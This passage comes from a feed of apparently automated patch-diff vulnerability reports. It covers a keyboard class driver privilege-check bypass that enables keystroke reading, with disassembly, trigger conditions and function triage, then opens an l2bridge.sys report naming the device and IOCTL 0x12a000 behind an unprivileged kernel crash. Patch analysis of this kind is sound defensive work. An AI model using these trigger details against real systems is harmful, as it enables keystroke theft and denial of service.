&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; cancel flag == 0 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F70&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;loc_1C0004F7C&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; set cancel flag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F79&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; keep the pointer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F7C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F7E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F82&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F8E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F91&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;loc_1C0004FA2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F96&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoCancelIrp&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; IoCancelIrp(kept ptr)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004FA2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004FA7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;140&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; state := 2, eax := old state&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004FAD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004FB0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;loc_1C0004FC8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004FB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004FB5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;loc_1C0004FC8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004FB9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004FBC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IofCompleteRequest&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; COMPLETE the IRP (not IoFreeIrp)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched equivalent &lt;code&gt;sub_140001C60&lt;/code&gt; @ &lt;code&gt;0x140001C60&lt;/code&gt; performs the same reads, the same lock release, the same &lt;code&gt;IoCancelIrp&lt;/code&gt;, the same &lt;code&gt;xchg&lt;/code&gt; on &lt;code&gt;+0x140&lt;/code&gt;, and the same conditional &lt;code&gt;IofCompleteRequest&lt;/code&gt;; only the branch structure differs. This function is not a delivered security change. (The &lt;code&gt;IoCancelIrp&lt;/code&gt; → conditional &lt;code&gt;IoFreeIrp&lt;/code&gt;-on-state-&lt;code&gt;3&lt;/code&gt; pattern that superficially resembles a double-free lives in a different routine — the SetLEDs-cancel helper, unpatched-inline vs patched &lt;code&gt;sub_140001B70&lt;/code&gt; — and it too is byte-for-byte identical between the two builds.)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding A — &lt;code&gt;KeyboardClassCreate&lt;/code&gt; privilege-check bypass&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;A kernel-mode component opens &lt;code&gt;\Device\KeyboardClassN&lt;/code&gt; on behalf of a user using &lt;code&gt;OBJ_FORCE_ACCESS_CHECK&lt;/code&gt;, so the create arrives with &lt;code&gt;RequestorMode == KernelMode (0)&lt;/code&gt; and &lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt; set in the create stack location.&lt;/li&gt;
&lt;li&gt;The device-extension precondition &lt;code&gt;*(dev_ext) == *(dev_ext+8)&lt;/code&gt; (the branch that reaches the privilege check) holds.&lt;/li&gt;
&lt;li&gt;In the unpatched driver, &lt;code&gt;SeSinglePrivilegeCheck(SeTcbPrivilege, KernelMode)&lt;/code&gt; returns TRUE regardless of the impersonated token, so &lt;code&gt;FileObject-&amp;gt;FsContext2&lt;/code&gt; is set to the trusted marker.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable difference:&lt;/strong&gt; on the unpatched build, &lt;code&gt;FileObject-&amp;gt;FsContext2&lt;/code&gt; equals the &lt;code&gt;DriverEntry&lt;/code&gt; sentinel (&lt;code&gt;0x1C000F080&lt;/code&gt;) after the create, and &lt;code&gt;IRP_MJ_READ&lt;/code&gt; on the handle returns keyboard input; on the patched build the same create returns &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt; and the marker is not set.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding B — &lt;code&gt;KeyboardClassRemoveDevice&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;No trigger: the code is identical across builds; there is no behavioral change to exercise.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact &amp;amp; Notes&lt;/h2&gt;
&lt;h3&gt;Finding A — information disclosure&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Capability:&lt;/strong&gt; the trusted marker (&lt;code&gt;FileObject-&amp;gt;FsContext2 == DriverEntry&lt;/code&gt;) is the gate for reading raw &lt;code&gt;KEYBOARD_INPUT_DATA&lt;/code&gt; through &lt;code&gt;IRP_MJ_READ&lt;/code&gt; (&lt;code&gt;KeyboardClassRead&lt;/code&gt; otherwise returns &lt;code&gt;STATUS_PRIVILEGE_NOT_HELD&lt;/code&gt;). The bypass lets an unprivileged confused-deputy scenario read keystrokes without the requesting user holding &lt;code&gt;SeTcbPrivilege&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope:&lt;/strong&gt; limited to callers that reach the driver as &lt;code&gt;KernelMode&lt;/code&gt; with &lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt; set — i.e. a kernel-mode deputy opening the device for a user. Ordinary user-mode &lt;code&gt;CreateFile&lt;/code&gt; already arrives as &lt;code&gt;UserMode&lt;/code&gt; and was always checked correctly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No memory-corruption or escalation primitive&lt;/strong&gt; is associated with this finding; it is a logical authorization weakness (information disclosure).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding B&lt;/h3&gt;
&lt;p&gt;No impact; no change.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Verification Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The genuine change is confined to the create path. Confirm on the unpatched build that &lt;code&gt;SeSinglePrivilegeCheck&lt;/code&gt; at &lt;code&gt;0x1C0001D61&lt;/code&gt; is reached with &lt;code&gt;RequestorMode&lt;/code&gt; from &lt;code&gt;[IRP+0x40]&lt;/code&gt;, and on the patched build (&lt;code&gt;sub_1400039F0&lt;/code&gt;) that &lt;code&gt;PreviousMode&lt;/code&gt; is overwritten with &lt;code&gt;1&lt;/code&gt; at &lt;code&gt;0x140003D2B&lt;/code&gt; when the stack-location &lt;code&gt;Flags &amp;amp; 1&lt;/code&gt; bit is set.&lt;/li&gt;
&lt;li&gt;Confirm that &lt;code&gt;DriverEntry&lt;/code&gt; (&lt;code&gt;0x1C000F080&lt;/code&gt;, unpatched) written to &lt;code&gt;FileObject-&amp;gt;FsContext2&lt;/code&gt; is the same sentinel that &lt;code&gt;KeyboardClassRead&lt;/code&gt; (&lt;code&gt;0x1C0001410&lt;/code&gt;) compares against before permitting a read.&lt;/li&gt;
&lt;li&gt;The device-extension offsets referenced (&lt;code&gt;+0x48&lt;/code&gt; spinlock, &lt;code&gt;+0x128&lt;/code&gt; wait-wake IRP, &lt;code&gt;+0x130&lt;/code&gt; cancel flag, &lt;code&gt;+0x140&lt;/code&gt; state) are consistent across both builds.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function (unpatched)&lt;/th&gt;
&lt;th&gt;Patched equivalent&lt;/th&gt;
&lt;th&gt;Change type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassCreate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_1400039F0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Security (Medium)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Forces &lt;code&gt;UserMode&lt;/code&gt; for &lt;code&gt;SeSinglePrivilegeCheck&lt;/code&gt; when &lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt; is set; adds audit &lt;code&gt;sub_140005AB0&lt;/code&gt; and a &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt; path.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassRemoveDevice&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_140001C60&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No security change&lt;/td&gt;
&lt;td&gt;Wait-wake cancel sequence logically identical; only a De Morgan branch inversion. Completes (not frees) the IRP.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassWaitWakeComplete&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_140004B80&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No security change&lt;/td&gt;
&lt;td&gt;Same spinlock, same two-slot pending-IRP match at &lt;code&gt;+0x138&lt;/code&gt;/&lt;code&gt;+0x128&lt;/code&gt;, same status dispatch. Tracing gating only.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassPowerComplete&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_1400018B0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No security change&lt;/td&gt;
&lt;td&gt;The inline SetLEDs-IRP cancel block is lifted verbatim into helper &lt;code&gt;sub_140001B70&lt;/code&gt;; return values and remove-lock conditions match. No work items introduced.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassWWPowerUpComplete&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_140004F50&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No security change&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ExAllocatePoolWithTag(NonPagedPoolNx, 0x20, 'KbdC')&lt;/code&gt; → &lt;code&gt;ExAllocatePool2(0x40, 0x20, 'KbdC')&lt;/code&gt; (same size/tag), error path inlined.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassPower&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_1400031D0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No security change&lt;/td&gt;
&lt;td&gt;Same removed-device guard, same MinorFunction handling and wait-wake arming; control-flow churn only.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassServiceCallback&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_1400022F0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Behavioral (non-security)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassDequeueRead&lt;/code&gt; inlined; cancel-safe &lt;code&gt;_InterlockedExchange64(entry-8,0)&lt;/code&gt; check and ring-buffer arithmetic preserved. Low similarity is tracing/inlining.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassDeviceControl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ExAllocatePoolWithTag → ExAllocatePool2&lt;/code&gt;, WPP tracing, switch-table reorg. IOCTLs unchanged.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassRead&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Trusted-marker check (&lt;code&gt;DriverEntry == FsContext2&lt;/code&gt;) preserved. WPP/layout only.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassClose&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Trusted-counter decrement / marker clear preserved.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassCleanup&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Variable renaming + WPP only.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KbdEnableDisablePort&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ExAllocatePoolWithTag → ExAllocatePool2&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KbdInitializeDataQueue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;WPP tracing reformatting; queue logic identical.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KeyboardClassReadCopyData&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_140002CA0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;WPP tracing reformatting; memcpy/buffer math identical.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Summary of the cosmetic cluster:&lt;/strong&gt; the remaining changed functions are dominated by &lt;code&gt;ExAllocatePool2&lt;/code&gt; modernization, WPP tracing reformatting, switch-table reorganization, helper extraction/inlining, and register-allocation churn. None introduce behavioral changes affecting security.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. New / Referenced Helpers&lt;/h2&gt;
&lt;p&gt;There are no added or removed functions in the diff (&lt;code&gt;unmatched_unpatched: 0&lt;/code&gt;, &lt;code&gt;unmatched_patched: 0&lt;/code&gt;). Two helpers are central to the create-path fix:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sub_140005AB0&lt;/code&gt; — audit helper invoked by the patched create path when a kernel-mode caller sets &lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt; (called at &lt;code&gt;0x140003C47&lt;/code&gt;, before returning &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_140011080&lt;/code&gt; — the patched build's "trusted" marker sentinel written to &lt;code&gt;FileObject-&amp;gt;FsContext2&lt;/code&gt; (the counterpart of &lt;code&gt;DriverEntry&lt;/code&gt;/&lt;code&gt;0x1C000F080&lt;/code&gt; in the unpatched build).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note: &lt;code&gt;ExAllocatePool2&lt;/code&gt; zero-initializes its allocations whereas &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; did not; this is immaterial in every affected path because each allocation is fully initialized before use. It is a modernization side effect, not a targeted fix.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the create-path authorization change is real and correctly directed (patched build stricter), and high that the wait-wake / power IRP lifecycle carries no delivered security change (every such function was matched by content and compared).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;
- Reachability of Finding A depends on the existence of a kernel-mode deputy that opens the keyboard device with &lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt; on behalf of a user; ordinary user-mode opens are unaffected and were always checked correctly.
- The exact &lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt; bit position (&lt;code&gt;IO_STACK_LOCATION.Flags &amp;amp; 1&lt;/code&gt; for &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt;) and the &lt;code&gt;FILE_OBJECT.FsContext2&lt;/code&gt; offset (&lt;code&gt;+0x20&lt;/code&gt;) match the observed code but should be reconciled against the target build's public structure layouts if instrumenting.
- The device-extension state machine (&lt;code&gt;+0x140&lt;/code&gt; values &lt;code&gt;1&lt;/code&gt;/&lt;code&gt;2&lt;/code&gt;/&lt;code&gt;3&lt;/code&gt;) and cancel flag (&lt;code&gt;+0x130&lt;/code&gt;) that arbitrate the wait-wake IRP were confirmed identical in both builds.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>l2bridge.sys — Missing ProbeForRead on Fast I/O IOCTL handler dereferences an untrusted user pointer (CWE-125), now fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/l2bridge_f829d059-l2bridge-report-20260626-015704.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/l2bridge_f829d059-l2bridge-report-20260626-015704.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;l2bridge_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;l2bridge_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.4922&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;61&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched → patched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict.&lt;/strong&gt; The patch fixes a missing &lt;code&gt;ProbeForRead&lt;/code&gt; vulnerability in &lt;code&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/code&gt;: a user-mode caller can submit an arbitrary pointer through &lt;code&gt;DeviceIoControl&lt;/code&gt; on &lt;code&gt;\\.\L2BRIDGE&lt;/code&gt; (IOCTL &lt;code&gt;0x12a000&lt;/code&gt;), and because the request is serviced through the driver's Fast I/O device-control routine (which hands over the caller's raw &lt;code&gt;InputBuffer&lt;/code&gt; with no I/O-manager copy), the kernel handler dereferences that pointer &lt;em&gt;before&lt;/em&gt; any size check, NULL check, or probe. The demonstrable impact is a reliable kernel crash (denial of service) from an unprivileged caller: the dereference reads 16 bytes from an attacker-controlled address, and the read value is consumed only internally (as two bridge-interface identifiers) and is never returned to the caller, so it is not a self-contained information leak. The rest of the 49% similarity delta is dominated by an unrelated driver feature upgrade (TCP segmentation / RSC support, struct-layout expansion), not security work.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Missing &lt;code&gt;ProbeForRead&lt;/code&gt; (CWE-125)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Missing &lt;code&gt;ProbeForRead&lt;/code&gt; on a user-mode pointer passed via the Fast I/O device-control path (untrusted-pointer / out-of-bounds read; kernel-mode denial of service).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;L2BridgeCtlBridgeInterfaces_Handler @ 0x1c0009c5c&lt;/code&gt; (unpatched).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker entry point:&lt;/strong&gt; &lt;code&gt;DeviceIoControl&lt;/code&gt; on &lt;code&gt;\\.\L2BRIDGE&lt;/code&gt;, IOCTL &lt;code&gt;0x12a000&lt;/code&gt;, via the Fast I/O dispatch routine &lt;code&gt;FilterFastDeviceIoControl @ 0x1c0009b40&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The device &lt;code&gt;\Device\l2bridge&lt;/code&gt; (Win32 name &lt;code&gt;\\.\L2BRIDGE&lt;/code&gt;) registers a Fast I/O dispatch path. Fast I/O bypasses the I/O manager's IRP/METHOD_BUFFERED copy logic and hands the driver the &lt;em&gt;raw&lt;/em&gt; user-mode &lt;code&gt;InputBuffer&lt;/code&gt; pointer. The handler &lt;code&gt;L2BridgeCtlBridgeInterfaces_Handler&lt;/code&gt; treats its first argument (&lt;code&gt;rcx&lt;/code&gt;) as a 16-byte GUID and immediately executes:&lt;/p&gt;
